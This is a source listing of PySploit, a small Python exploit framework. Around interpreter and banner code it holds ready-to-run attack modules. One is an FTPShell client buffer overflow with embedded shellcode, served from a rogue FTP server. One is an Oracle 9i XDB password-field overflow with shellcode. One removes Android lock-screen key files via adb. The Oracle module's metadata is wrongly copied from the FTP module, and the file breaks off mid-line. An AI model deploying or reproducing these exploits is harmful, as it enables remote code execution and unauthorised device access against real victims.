├── __init__.py ├── core ├── __init__.py ├── version.txt ├── main_completer.py ├── module_obtainer.py ├── banner.py ├── interpreter.py ├── module_interpreter.py └── validator.py ├── modules ├── __init__.py ├── auxiliary │ ├── gather │ │ ├── __init__.py │ │ ├── ip_gather.py │ │ └── ip_lookup.py │ └── core │ │ └── pyconverter.py └── exploit │ ├── android │ └── login │ │ └── login_bypass.py │ └── windows │ ├── ftp │ └── ftpshell_overflow.py │ └── http │ └── oracle9i_xdb_pass.py ├── utilities ├── __init__.py ├── screen_cleaner.py ├── color.py └── files.py ├── requirements.txt ├── files └── exploit │ └── android │ └── login │ └── login_bypass │ ├── adb-x86 │ └── adb-x86_64 ├── pysploit ├── samples └── simple_sample.py ├── README.md ├── PySploit.py └── LICENSE /__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modules/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /utilities/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /core/version.txt: -------------------------------------------------------------------------------- 1 | 1.2 2 | -------------------------------------------------------------------------------- /modules/auxiliary/gather/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | beautifulsoup4==4.5.3 2 | bs4==0.0.1 3 | 4 | -------------------------------------------------------------------------------- /files/exploit/android/login/login_bypass/adb-x86: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/pysploit-framework/HEAD/files/exploit/android/login/login_bypass/adb-x86 -------------------------------------------------------------------------------- /files/exploit/android/login/login_bypass/adb-x86_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/pysploit-framework/HEAD/files/exploit/android/login/login_bypass/adb-x86_64 -------------------------------------------------------------------------------- /utilities/screen_cleaner.py: -------------------------------------------------------------------------------- 1 | from os import system, name 2 | 3 | class clear(): 4 | 5 | def __init__(self): 6 | 7 | system('cls' if name == 'nt' else 'clear') 8 | -------------------------------------------------------------------------------- /pysploit: -------------------------------------------------------------------------------- 1 | .\" Manpage for PySploit Framework 2 | .\" Contact ahmadnurallah@gmail.com to correct errors or typos. 3 | .TH man 8 "08 Jul 2017" "1.0" "PySploit man page" 4 | .SH NAME 5 | PySploit - exploit framework 6 | .SH SYNPOSIS 7 | PySploit [options](optional) 8 | .SH DESCRIPTION 9 | PySploit framework is free framework for hacker and python programers. 10 | .SH OPTIONS 11 | .TP 12 | .B \-v, \--version 13 | use to show program version and exit 14 | .TP 15 | .B \-h, \--help 16 | use to show help message and exit 17 | .TP 18 | .B \-c, \--create 19 | use to create module simple in specific path 20 | .SH BUGS 21 | if you find any bugs in our software please contact us on the 22 | or open issues in the project issues page https://github.com/ahmadnourallah/pysploit-framework/issues 23 | .SH AUTHOR 24 | Ahmad Nourallah (ahmadnurallah@gmail.com) 25 | -------------------------------------------------------------------------------- /samples/simple_sample.py: -------------------------------------------------------------------------------- 1 | from core.module_obtainer import obtainer 2 | info = { 3 | 'author' :'Creator name', 4 | 'date' :'Create date', 5 | 'rank' :'Rank of the module', 6 | 'category' :'Main category of the module', 7 | 'path' :'Module create path', 8 | 'license' :'Module license', 9 | 'description' :'Module description', 10 | 'references' :['References for further reading'] 11 | } 12 | options = { 13 | 'options_name' :['require', 'description','value'] 14 | } 15 | required = { 16 | 'start_required' :'False/True', # using default starter 17 | 'check_required' :'False/True' # module support on not support check option 18 | } 19 | def exploit(): # main exploit function 20 | pass # stuff to do 21 | def check(): # check function if the module require it 22 | pass # stuff to do 23 | -------------------------------------------------------------------------------- /utilities/color.py: -------------------------------------------------------------------------------- 1 | # Color funcrionts 2 | 3 | def black(string): return '\033[30m' + str(string) + '\033[0m' 4 | 5 | def blue(string): return '\033[94m' + str(string) + '\033[0m' 6 | 7 | def gray(string): return '\033[1;30m' + str(string) + '\033[0m' 8 | 9 | def green(string): return '\033[92m' + str(string) + '\033[0m' 10 | 11 | def cyan(string): return '\033[96m' + str(string) + '\033[0m' 12 | 13 | def lightPurple(string): return '\033[94m' + str(string) + '\033[0m' 14 | 15 | def purple(string): return '\033[95m' + str(string) + '\033[0m' 16 | 17 | def red(string): return '\033[91m' + str(string) + '\033[0m' 18 | 19 | def underline(string): return '\033[4m' + str(string) + '\033[0m' 20 | 21 | def white(string): return '\033[0m' + str(string) + '\033[0m' 22 | 23 | def white_2(string): return '\033[1m' + str(string) + '\033[0m' 24 | 25 | def yellow(string): return '\033[93m' + str(string) + '\033[0m' 26 | -------------------------------------------------------------------------------- /modules/auxiliary/gather/ip_gather.py: -------------------------------------------------------------------------------- 1 | import socket 2 | from core.module_obtainer import obtainer 3 | info = { 4 | 'author' :'Ahmad Nourallah', 5 | 'date' :'2017/7/11', 6 | 'rank' :'Excellent', 7 | 'path' :'auxiliary/gather/ip_gather.py', 8 | 'category' :'auxiliary', 9 | 'license' :'GPL-2.0', 10 | 'description' :'simple module to get ip address from host name', 11 | 'references' :['docs.python.org/3/library/socket.html#socket.gethostbyname'] 12 | } 13 | options = { 14 | 'target' :['Yes', 'use to set target',''] 15 | } 16 | required = { 17 | 'start_required' :'True', 18 | 'check_required' :'False' 19 | } 20 | 21 | def exploit(): 22 | """ main exploit function """ 23 | try: 24 | var = socket.gethostbyname(obtainer.options['target'][2]) 25 | print(var) 26 | except socket.gaierror: 27 | print(Red + "Error:" + White + "You should enter right url.") 28 | return False 29 | -------------------------------------------------------------------------------- /modules/auxiliary/core/pyconverter.py: -------------------------------------------------------------------------------- 1 | from utilities.color import * 2 | from core.module_obtainer import obtainer 3 | from subprocess import CalledProcessError, check_output 4 | 5 | info = { 6 | 'author' :'Ahmad Nourallah', 7 | 'date' :'2017/7/7', 8 | 'rank' :'Excellent', 9 | 'path' :'auxiliary/core/pyconverter.py', 10 | 'category' :'auxiliary', 11 | 'license' :'GPL-2.0', 12 | 'description' :'convert your module from python version 2.x to python version 3\n easy to work on framework without any problems', 13 | 'references' :['docs.python.org/2/library/2to3.html'] 14 | } 15 | options = { 16 | 'path' :['Yes', 'use to set path file to convert',''] 17 | } 18 | required = { 19 | 'start_required' :'True', 20 | 'check_required' :'False' 21 | } 22 | 23 | def exploit(): 24 | try: 25 | output = check_output('2to3 -w --no-diffs {0} &> /dev/null'.format(obtainer.options['path'][2], shell=True)) 26 | except CalledProcessError: 27 | print(red('[!]') + green(' Check if you installed 2to3 program and try again')) 28 | pass 29 | except FileNotFoundError: 30 | print(red('[!]') + green(' The') + ' file you entered is not exist') 31 | pass 32 | else: 33 | print(output) 34 | -------------------------------------------------------------------------------- /core/main_completer.py: -------------------------------------------------------------------------------- 1 | import readline 2 | from glob import glob 3 | 4 | def completer(): 5 | # source: https://gist.github.com/iamatypeofwalrus/5637895 6 | class tabCompleter(object): 7 | def pathCompleter(self,text,state): 8 | line = readline.get_line_buffer().split() 9 | return [x for x in glob(text+'*')][state] 10 | def createListCompleter(self,ll): 11 | pass 12 | def listCompleter(text,state): 13 | line = readline.get_line_buffer() 14 | if not line: 15 | return None 16 | else: 17 | return [c + " " for c in ll if c.startswith(line)][state] 18 | self.listCompleter = listCompleter 19 | t = tabCompleter() 20 | # tool command 21 | t.createListCompleter(["clear", "exit", "banner","exec","restart", "upgrade", 'search' 22 | # modules 23 | # auxiliary modules 24 | ,"use auxiliary/gather/ip_gather","use auxiliary/gather/ip_lookup", "use auxiliary/core/pyconverter" 25 | # exploit modules 26 | ,"use exploit/windows/ftp/ftpshell_overflow", "use exploit/android/login/login_bypass", "use exploit/windows/http/oracle9i_xdb_pass"]) 27 | readline.set_completer_delims('\t') 28 | readline.parse_and_bind("tab: complete") 29 | readline.set_completer(t.listCompleter) 30 | -------------------------------------------------------------------------------- /modules/exploit/android/login/login_bypass.py: -------------------------------------------------------------------------------- 1 | from core.module_obtainer import obtainer 2 | from utilities.color import red, green 3 | from subprocess import check_call, CalledProcessError 4 | from platform import architecture 5 | 6 | info = { 7 | 'author' :'Ahmad Nourallah', 8 | 'date' :'2017/7/16', 9 | 'rank' :'Excellent', 10 | 'path' :'exploit/android/login/login_bypass.py', 11 | 'category' :'exploit', 12 | 'license' :'GPL-2.0', 13 | 'description' :'crack android login when the android device under the debug mode.\nNote: device should be rooted and under debug mode.', 14 | 'references' :['developer.android.com/studio/command-line/adb.html'] 15 | } 16 | options = { 17 | 'serial' :['Yes', 'use to set android device serial',''] 18 | } 19 | required = { 20 | 'start_required' :'True', 21 | 'check_required' :'False' 22 | } 23 | 24 | def exploit(): 25 | try: 26 | if architecture()[0] == "64bit": 27 | check_call('files/exploit/android/login/login_bypass/adb-x86_64 -s {} shell su root rm /data/system/*.key &> /dev/null'.format(obtainer.options['serial'][2]), shell=True) 28 | else: 29 | check_call('files/exploit/android/login/login_bypass/adb-x86 shell -s {} su root rm /data/system/*.key &> /dev/null'.format(obtainer.options['serial'][2]), shell=True) 30 | except CalledProcessError: 31 | print(red('[!]') + green(' Check') + " the device in debug mode or if he has lock") 32 | pass 33 | except FileNotFoundError: 34 | print(red('\n[!]') + green(' Check') + " if all adb in files folder\n") 35 | else: 36 | print(green('[#]') + " lock cracked successfully") 37 | -------------------------------------------------------------------------------- /modules/auxiliary/gather/ip_lookup.py: -------------------------------------------------------------------------------- 1 | import sys, urllib.request 2 | from bs4 import BeautifulSoup 3 | from utilities.color import * 4 | from core.module_obtainer import obtainer 5 | 6 | # information 7 | info = { 8 | 'author' :'Ahmad Nourallah', 9 | 'date' :'2017/6/5', 10 | 'rank' :'Good', 11 | 'category' :'Excellent', 12 | 'path' :'module/gather/ip_lookup.py', 13 | 'license' :'GPL-2.0', 14 | 'description' :'module to make whois on specific target', 15 | 'references' :['www.crummy.com/software/BeautifulSoup/bs4/doc/'] 16 | } 17 | options = { 18 | 'target' :['Yes', 'use to set target',''] 19 | } 20 | required = { 21 | 'check_required' :'False', 22 | 'start_required' :'True' 23 | } 24 | 25 | def exploit(): 26 | """ main exploit function """ 27 | try: 28 | url = "https://dig.whois.com.au/ip/" + obtainer.options['target'][2] 29 | openurl = urllib.request.urlopen(url) 30 | html_content = str(openurl.read(100000000)) 31 | soup = BeautifulSoup(html_content, 'html.parser') 32 | for i in soup.find_all("td", attrs={"data-label": "Country"}): 33 | print(red("# IP Country:\n ") + i.text) 34 | for i in soup.find_all("td", attrs={"data-label": "ASN"}): 35 | print(red("# IP ASN:\n ") + i.text) 36 | except urllib.error.HTTPError: 37 | print(red("\n[!]") + " Enter the realy target.\n") 38 | except TypeError: 39 | print(red("\n[!]") + " target option is require.\n") 40 | except IndexError: 41 | print('\n' + red('[!]') + green(' You') + " should enter the target option\n") 42 | except urllib.error.URLError: 43 | print('\n' + red("[!]") + " check your internet connection.\n") 44 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PySploit Framework 2 | free exploit framework written use python language version 3.3 3 |

4 | 5 | 6 | # Features 7 | * Easy to use 8 | * Free and open source 9 | * Organizer 10 | * Easy to develop it 11 | * Programmed using on of the most popular programming language 12 | * Unlimited possibilities to create 13 | * Durable updates 14 | 15 | # Getting Started 16 | the framework not need many steps to install and start using just follow the next steps 17 | 18 | ## Platform 19 | 20 | the framework designed to run on Gnu/Linux distro only 21 | > tell us if framework work in another platforms :) 22 | 23 | ## Prerequisites 24 | the requirement is: 25 | * bs4 26 | * python-tools 27 | * python3.x 28 | ### Installing Requirement 29 | #### installing bs4 30 | 31 | easily you can install the whole requirement from requirement.txt file by execute this command: 32 | ``` 33 | sudo python3-pip install -r requirements.txt 34 | ``` 35 | #### installing python-tools 36 | 37 | in debian and her children the package names is python-examples and you can install it by the packages manager (apt) by ordered this command: 38 | ``` 39 | sudo apt-get install python-examples 40 | ``` 41 | but in opensuse is called python-demo and in fedora/redhat is called python-tools > in both of them you can also use the packages manager to install the package 42 | 43 | #### installing python3 44 | the most of linux distro has python preinstalled but if you have old version you can install it using your packages manager or from the official website https://www.python.org/downloads/ 45 | 46 | ## Install on you computer 47 | in 1.1 version we added installer to insatll the framework on your device so to start installing the tool go to tool directory and execute this command: 48 | ``` 49 | sudo python3 PySploit.py -i 50 | ``` 51 | if the install done the tool will tell you. 52 | now if you need unistall the tool you can execute this another command: 53 | ``` 54 | sudo python3 PySploit -un 55 | ``` 56 | > Note: you should execute the both command with root privilege 57 | 58 | # Add your module 59 | we designed this framework to be easy to create your module all what you need is define three dictionarys and two functions :) 60 | you can read simple_sample.py file in samples directory for more informations 61 | > to more info visit this topic https://github.com/ahmadnourallah/pysploit-framework/wiki/Add-your-module 62 | 63 | # Authors 64 | ### Ahmad Nourallah 65 | #### Contact with me 66 | * Facebook Account: 67 | * Github Page: 68 | * Email: ahmadnurallah@gmail.com 69 | 70 | # License 71 | This project is licensed under the GPL-2.0 License - see the LICENSE file for details 72 | 73 | # TODO 74 | * add new modules 75 | * make the code smarter 76 | * attract the developers to using the framework 77 | * create advanced payload (such as meterpreter in metasploit) help us in this task 78 | > we always welcome the all pull requests 79 | -------------------------------------------------------------------------------- /core/module_obtainer.py: -------------------------------------------------------------------------------- 1 | from os import getcwd 2 | from sys import path 3 | from utilities.color import * 4 | from imp import reload 5 | 6 | class obtainer(object): 7 | def obtaining_info(self, module): 8 | try: 9 | self.category = str(module).split('/')[-1+1] 10 | self.module_name = str(module).split('/')[-1] 11 | self.module_path = str(getcwd() + '/modules/{}.py'.format(module)).split('/') 12 | self.module_path.remove(self.module_name+'.py') 13 | self.module_path = '/'.join(self.module_path) 14 | path.append(self.module_path) 15 | except IndexError: 16 | print('\n' + red('[!]') + green(' Module') + ' not found\n') 17 | return False 18 | 19 | try: 20 | try: 21 | self.module = __import__(self.module_name) 22 | except ValueError: 23 | print(red('\n[!]') + green(' Please') + ' enter the full module name\n') 24 | return False 25 | reload(self.module) 26 | self.exploit = getattr(__import__(self.module_name, fromlist=['exploit']), 'exploit') 27 | self.options = getattr(__import__(self.module_name, fromlist=['options']), 'options') 28 | self.info = getattr(__import__(self.module_name, fromlist=['info']), 'info') 29 | self.required = getattr(__import__(self.module_name, fromlist=['required']), 'required') 30 | if self.required['check_required'] == True or self.required['check_required'] == "True" or self.required['check_required'] == "TRUE": 31 | self.check = getattr(__import__(self.module_name, fromlist=['check']), 'check') 32 | except AttributeError: 33 | print('\n' + red('[!]') + green(' You') + ' must define all the requirement\n') 34 | pass 35 | return False 36 | # except SyntaxError: 37 | # print('\n' + red('[!]') + green(' Check') + ' for your syntax and in your module and try again\n') 38 | 39 | except ImportError: 40 | print('\n' + red('[!]') + green(' Module') + ' not found\n') 41 | return False 42 | else: 43 | return True 44 | 45 | 46 | 47 | def description_obtainer(self, module): 48 | try: 49 | self.category = str(module).split('/')[-1+1] 50 | self.module_name = str(module).split('/')[-1] 51 | self.module_path = str(getcwd() + '/modules/{}.py'.format(module)).split('/') 52 | self.module_path.remove(self.module_name+'.py') 53 | self.module_path = '/'.join(self.module_path) 54 | path.append(self.module_path) 55 | self.info = getattr(__import__(self.module_name, fromlist=['info']), 'info') 56 | except Exception: 57 | return False 58 | pass 59 | else: 60 | return True 61 | def extra_info_obtainer(self,module): 62 | reload(self.module) 63 | try: 64 | self.extra_info = getattr(__import__(self.module_name, fromlist=['extra_info']), 'extra_info') 65 | except (AttributeError,ImportError,NameError): 66 | return False 67 | pass 68 | else: 69 | return True 70 | -------------------------------------------------------------------------------- /core/banner.py: -------------------------------------------------------------------------------- 1 | from random import choice 2 | from utilities.color import white, green 3 | 4 | class Banner(): 5 | def __init__(self): 6 | def banner1(): 7 | """ return first banner """ 8 | print(white('')) 9 | print('oooooooooo oooooooo8 o888 o88 o8') 10 | print('888 888 oooo oooo 888 ooooooooo 888 ooooooo oooo o888oo') 11 | print('888oooo88 888 888 888oooooo 888 888 888 888 888 888 888') 12 | print('888 888 888 888 888 888 888 888 888 888 888') 13 | print('o888o 8888 o88oooo888 888ooo88 o888o 88ooo88 o888o 888o') 14 | print(' o8o888 o888') 15 | print("") 16 | print(green('-') * 75) 17 | print(' Free exploit framework for pentester and python developer') 18 | print(green('-') * 75) 19 | print(white('')) 20 | 21 | 22 | def banner2(): 23 | """ return second banner """ 24 | print(white('')) 25 | print('ooooooooo. .oooooo..o oooo o8o .') 26 | print("888 `Y88. d8P' `Y8 `888 `' .o8") 27 | print("888ooo88P' `88. .8' `'Y8888o. 888' `88b 888 d88' `88b `888 888") 28 | print("888 `88..8' `'Y88b 888 888 888 888 888 888 888") 29 | print("888 `888' oo .d8P 888 888 888 888 888 888 888 .") 30 | print("o888o .8' 8''88888P' 888bod8P' o888o `Y8bod8P' o888o '888'") 31 | print(" .o..P' 888") 32 | print("888 .d88' oooo ooo Y88bo. oo.ooooo. 888 .ooooo. oooo .o888oo") 33 | print(" `Y8P' o888o") 34 | print('') 35 | print(" .o .o .o .o .o .o") 36 | print(" .8' .8' .8' .8' .8' .8'") 37 | print(" .888888888888' .888888888888' .888888888888'") 38 | print(" .8' .8' .8' .8' .8' .8'") 39 | print(".888888888888' .888888888888' .888888888888'") 40 | print(" .8' .8' .8' .8' .8' .8'") 41 | print(" .8' .8' .8' .8' .8' .8' ") 42 | print('') 43 | print(green('-') * 75) 44 | print(' Free exploit framework for pentester and python developer') 45 | print(green('-') * 75) 46 | print(white('')) 47 | def banner3(): 48 | print(' ____ _____ __ _ __') 49 | print(' / __ \__ __/ ___/____ / /___ (_) /_') 50 | print(' / /_/ / / / /\__ \/ __ \/ / __ \/ / __/') 51 | print(' / ____/ /_/ /___/ / /_/ / / /_/ / / /_') 52 | print(' /_/ \__, //____/ .___/_/\____/_/\__/') 53 | print(' /____/ /_/') 54 | print('') 55 | print(green('-') * 75) 56 | print(' Free exploit framework for pentester and python developer') 57 | print(green('-') * 75) 58 | print(white('')) 59 | 60 | choice([banner1, banner2, banner3])() 61 | -------------------------------------------------------------------------------- /modules/exploit/windows/ftp/ftpshell_overflow.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | from core.module_obtainer import obtainer 4 | from utilities.color import * 5 | 6 | info = { 7 | 'author' :'Peter Baris', 8 | 'date' :'2017/3/4', 9 | 'rank' :'Excellent', 10 | 'path' :'exploit/windows/ftp/ftpshell_overflow.py', 11 | 'category' :'exploit', 12 | 'license' :'GPL-2.0', 13 | 'description' :'exploit ftpshell client buffer oveflow', 14 | 'references' :['ftpshell.com/downloadclient.htm','securityfocus.com/bid/96570/info'] 15 | } 16 | extra_info = { 17 | 'cve' : ['CVE-2017-6465'] 18 | } 19 | options = { 20 | 'target' :['Yes', 'use to set target',''] 21 | } 22 | required = { 23 | 'start_required' :'True', 24 | 'check_required' :'False' 25 | } 26 | 27 | def exploit(): 28 | shell=("\xdb\xce\xbf\xaa\xcc\x44\xc9\xd9\x74\x24\xf4\x5a\x29\xc9\xb1" 29 | "\x52\x83\xc2\x04\x31\x7a\x13\x03\xd0\xdf\xa6\x3c\xd8\x08\xa4" 30 | "\xbf\x20\xc9\xc9\x36\xc5\xf8\xc9\x2d\x8e\xab\xf9\x26\xc2\x47" 31 | "\x71\x6a\xf6\xdc\xf7\xa3\xf9\x55\xbd\x95\x34\x65\xee\xe6\x57" 32 | "\xe5\xed\x3a\xb7\xd4\x3d\x4f\xb6\x11\x23\xa2\xea\xca\x2f\x11" 33 | "\x1a\x7e\x65\xaa\x91\xcc\x6b\xaa\x46\x84\x8a\x9b\xd9\x9e\xd4" 34 | "\x3b\xd8\x73\x6d\x72\xc2\x90\x48\xcc\x79\x62\x26\xcf\xab\xba" 35 | "\xc7\x7c\x92\x72\x3a\x7c\xd3\xb5\xa5\x0b\x2d\xc6\x58\x0c\xea" 36 | "\xb4\x86\x99\xe8\x1f\x4c\x39\xd4\x9e\x81\xdc\x9f\xad\x6e\xaa" 37 | "\xc7\xb1\x71\x7f\x7c\xcd\xfa\x7e\x52\x47\xb8\xa4\x76\x03\x1a" 38 | "\xc4\x2f\xe9\xcd\xf9\x2f\x52\xb1\x5f\x24\x7f\xa6\xed\x67\xe8" 39 | "\x0b\xdc\x97\xe8\x03\x57\xe4\xda\x8c\xc3\x62\x57\x44\xca\x75" 40 | "\x98\x7f\xaa\xe9\x67\x80\xcb\x20\xac\xd4\x9b\x5a\x05\x55\x70" 41 | "\x9a\xaa\x80\xd7\xca\x04\x7b\x98\xba\xe4\x2b\x70\xd0\xea\x14" 42 | "\x60\xdb\x20\x3d\x0b\x26\xa3\x82\x64\xee\xb3\x6b\x77\xee\xa2" 43 | "\x37\xfe\x08\xae\xd7\x56\x83\x47\x41\xf3\x5f\xf9\x8e\x29\x1a" 44 | "\x39\x04\xde\xdb\xf4\xed\xab\xcf\x61\x1e\xe6\xad\x24\x21\xdc" 45 | "\xd9\xab\xb0\xbb\x19\xa5\xa8\x13\x4e\xe2\x1f\x6a\x1a\x1e\x39" 46 | "\xc4\x38\xe3\xdf\x2f\xf8\x38\x1c\xb1\x01\xcc\x18\x95\x11\x08" 47 | "\xa0\x91\x45\xc4\xf7\x4f\x33\xa2\xa1\x21\xed\x7c\x1d\xe8\x79" 48 | "\xf8\x6d\x2b\xff\x05\xb8\xdd\x1f\xb7\x15\x98\x20\x78\xf2\x2c" 49 | "\x59\x64\x62\xd2\xb0\x2c\x92\x99\x98\x05\x3b\x44\x49\x14\x26" 50 | "\x77\xa4\x5b\x5f\xf4\x4c\x24\xa4\xe4\x25\x21\xe0\xa2\xd6\x5b" 51 | "\x79\x47\xd8\xc8\x7a\x42") 52 | 53 | port = 21 54 | 55 | try: 56 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 57 | s.bind((str(obtainer.options['target'][2]), port)) 58 | s.listen(5) 59 | eip = "\xdc\x95\x4b" 60 | nops = "\x90"*8 61 | junk = "A"*(400-len(nops)-len(shell)) 62 | buffer = nops + shell + junk + eip 63 | print(blue("[~]") + green(" FTP") + " server started on port: "+str(port)) 64 | while True: 65 | conn, addr = s.accept() 66 | conn.send('220 Welcome to your unfriendly FTP server\r\n') 67 | print(conn.recv(1024)) 68 | conn.send("331 OK\r\n") 69 | print(conn.recv(1024)) 70 | conn.send('230 OK\r\n') 71 | print(conn.recv(1024)) 72 | conn.send('220 "'+buffer+'" is current directory\r\n') 73 | except Exception: 74 | print(red("[!]") + green(" Failed") + " to bind the server to port: "+str(port)) 75 | pass 76 | -------------------------------------------------------------------------------- /core/interpreter.py: -------------------------------------------------------------------------------- 1 | from utilities.color import * # import utilites 2 | from utilities.screen_cleaner import clear # import utilites 3 | from core.banner import Banner # import banner 4 | from core.main_completer import completer # completer import 5 | import os 6 | from imp import reload 7 | from urllib.request import urlopen 8 | from urllib.error import URLError 9 | 10 | class interpreter(object): 11 | def search_module(query): 12 | import utilities.files 13 | from core.module_obtainer import obtainer 14 | reload(utilities.files) 15 | from utilities.files import count_subfolders_files 16 | print('{:44}{:29}'.format('\nModules','Description')) 17 | print('{:43}{:29}'.format('-------','-----------')) 18 | count_subfolders_files('modules') 19 | unfiltered_result = [] 20 | result = [] 21 | for first_result in count_subfolders_files.result: 22 | for second_result in first_result: 23 | unfiltered_result.append(''.join(second_result)) 24 | for final_result in unfiltered_result: 25 | if final_result.endswith('.pyc') or final_result.startswith('__init__') or not final_result.endswith('.py'): 26 | unfiltered_result.remove(final_result) 27 | for filt_result in unfiltered_result: 28 | result.append(filt_result.split('.')[0]) 29 | try: 30 | for i in range(0,10): 31 | for root, dirs, files in os.walk('modules'): 32 | if query in root+result[i]: 33 | if result[i]+'.py' in files: 34 | path = os.path.join(root, result[i]+'.py') 35 | path = path.split('/') 36 | path_first_index = path[0] 37 | path.remove(path_first_index) 38 | path = '/'.join(path) 39 | if obtainer.description_obtainer(obtainer,path.split('.py')[0]): 40 | print('{:44}{:44}'.format(path.split('.py')[0],obtainer.info['description'])) 41 | except IndexError: 42 | pass 43 | except ImportError: 44 | pass 45 | 46 | print('') 47 | def check_upgrade(self): 48 | try: 49 | self.current_version = open('core/version.txt','r').read() 50 | self.new_version = urlopen('https://raw.githubusercontent.com/ahmadnourallah/pysploit-framework/master/core/version.txt').read() 51 | if float(self.current_version) < float(self.new_version): 52 | print(green("\n[~]") + blue(" Congratulations") + " new version avaliable go to 'https://github.com/ahmadnourallah/pysploit-framework to download it :)\n") 53 | else: 54 | print(red('\n[!]') + green(' You') + " have the latest version\n") 55 | except FileNotFoundError: 56 | print(red('\n[!]') + green(' Ohhhh,') + ' check if core/version.txt file is exist and try again\n') 57 | pass 58 | except URLError: 59 | print(red('\n[!]') + green(' check') + " your internet connection and try again\n") 60 | pass 61 | def start_interpreter(self): 62 | completer() 63 | from core.validator import validator 64 | while True: 65 | try: 66 | self.main_ask = input(underline("PySploit") + " >> ").split() 67 | validator(self.main_ask).validate_interpreter_mode() 68 | except (KeyboardInterrupt,EOFError): 69 | print('\n' + red('\n[!]') + green(' type') + gray(' exit') + ' to close the program\n') 70 | -------------------------------------------------------------------------------- /modules/exploit/windows/http/oracle9i_xdb_pass.py: -------------------------------------------------------------------------------- 1 | import sys, socket 2 | from core.module_obtainer import obtainer 3 | from utilities.color import * 4 | 5 | info = { 6 | 'author' :'David Litchfield', 7 | 'date' :'2003/7/31', 8 | 'rank' :'Great', 9 | 'path' :'exploit/windows/http/oracle9i_xdb_pass.py', 10 | 'category' :'exploit', 11 | 'license' :'GPL-2.0', 12 | 'description' :'exploit ftpshell client buffer oveflow', 13 | 'references' :['ftpshell.com/downloadclient.htm','securityfocus.com/bid/96570/info'] 14 | } 15 | extra_info = { 16 | 'cve' :['CVE-2003-0727'], 17 | 'targets' :['Oracle 9.2.0.1 Universal'] 18 | } 19 | options = { 20 | 'ip' :['Yes', 'use to set target ip',''], 21 | 'port' :['Yes', 'use to set target port', ''] 22 | } 23 | required = { 24 | 'start_required' :'True', 25 | 'check_required' :'False' 26 | } 27 | 28 | def exploit(): 29 | ret = "\x46\x6d\x61\x60" 30 | prepend = "\x81\xc4\xff\xef\xff\xff\x44" 31 | shellcode = "" 32 | shellcode += "\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e" 33 | shellcode += "\x81\x76\x0e\x94\x8c\x91\xbd\x83\xee\xfc\xe2\xf4" 34 | shellcode += "\x68\x64\x13\xbd\x94\x8c\xf1\x34\x71\xbd\x51\xd9" 35 | shellcode += "\x1f\xdc\xa1\x36\xc6\x80\x1a\xef\x80\x07\xe3\x95" 36 | shellcode += "\x9b\x3b\xdb\x9b\xa5\x73\x3d\x81\xf5\xf0\x93\x91" 37 | shellcode += "\xb4\x4d\x5e\xb0\x95\x4b\x73\x4f\xc6\xdb\x1a\xef" 38 | shellcode += "\x84\x07\xdb\x81\x1f\xc0\x80\xc5\x77\xc4\x90\x6c" 39 | shellcode += "\xc5\x07\xc8\x9d\x95\x5f\x1a\xf4\x8c\x6f\xab\xf4" 40 | shellcode += "\x1f\xb8\x1a\xbc\x42\xbd\x6e\x11\x55\x43\x9c\xbc" 41 | shellcode += "\x53\xb4\x71\xc8\x62\x8f\xec\x45\xaf\xf1\xb5\xc8" 42 | shellcode += "\x70\xd4\x1a\xe5\xb0\x8d\x42\xdb\x1f\x80\xda\x36" 43 | shellcode += "\xcc\x90\x90\x6e\x1f\x88\x1a\xbc\x44\x05\xd5\x99" 44 | shellcode += "\xb0\xd7\xca\xdc\xcd\xd6\xc0\x42\x74\xd3\xce\xe7" 45 | shellcode += "\x1f\x9e\x7a\x30\xc9\xe4\xa2\x8f\x94\x8c\xf9\xca" 46 | shellcode += "\xe7\xbe\xce\xe9\xfc\xc0\xe6\x9b\x93\x73\x44\x05" 47 | shellcode += "\x04\x8d\x91\xbd\xbd\x48\xc5\xed\xfc\xa5\x11\xd6" 48 | shellcode += "\x94\x73\x44\xed\xc4\xdc\xc1\xfd\xc4\xcc\xc1\xd5" 49 | shellcode += "\x7e\x83\x4e\x5d\x6b\x59\x06\xd7\x91\xe4\x9b\xb6" 50 | shellcode += "\x94\xa3\xf9\xbf\x94\x9d\xca\x34\x72\xe6\x81\xeb" 51 | shellcode += "\xc3\xe4\x08\x18\xe0\xed\x6e\x68\x11\x4c\xe5\xb1" 52 | shellcode += "\x6b\xc2\x99\xc8\x78\xe4\x61\x08\x36\xda\x6e\x68" 53 | shellcode += "\xfc\xef\xfc\xd9\x94\x05\x72\xea\xc3\xdb\xa0\x4b" 54 | shellcode += "\xfe\x9e\xc8\xeb\x76\x71\xf7\x7a\xd0\xa8\xad\xbc" 55 | shellcode += "\x95\x01\xd5\x99\x84\x4a\x91\xf9\xc0\xdc\xc7\xeb" 56 | shellcode += "\xc2\xca\xc7\xf3\xc2\xda\xc2\xeb\xfc\xf5\x5d\x82" 57 | shellcode += "\x12\x73\x44\x34\x74\xc2\xc7\xfb\x6b\xbc\xf9\xb5" 58 | shellcode += "\x13\x91\xf1\x42\x41\x37\x71\xa0\xbe\x86\xf9\x1b" 59 | shellcode += "\x01\x31\x0c\x42\x41\xb0\x97\xc1\x9e\x0c\x6a\x5d" 60 | shellcode += "\xe1\x89\x2a\xfa\x87\xfe\xfe\xd7\x94\xdf\x6e\x68" 61 | user = "A" * 10 62 | passwd = "B" * 442 63 | jmp_short = "\xEB\x06" 64 | two_nops = "\x90\x90" 65 | nops = "\x90" *(800-len(shellcode)) 66 | exploit = passwd + jmp_short + two_nops + ret + nops + prepend + shellcode 67 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 68 | try: 69 | s.connect((obtainer.options['ip'][2],obtainer.options['port'][2])) 70 | data = s.recv(1024) 71 | s.send('USER' + user +'\r\n') 72 | data = s.recv(1024) 73 | s.send('PASS ' + exploit + '\r\n') 74 | print(green('[#]') + " Exploit work done :)") 75 | s.close 76 | except: 77 | print(red('[!]') + 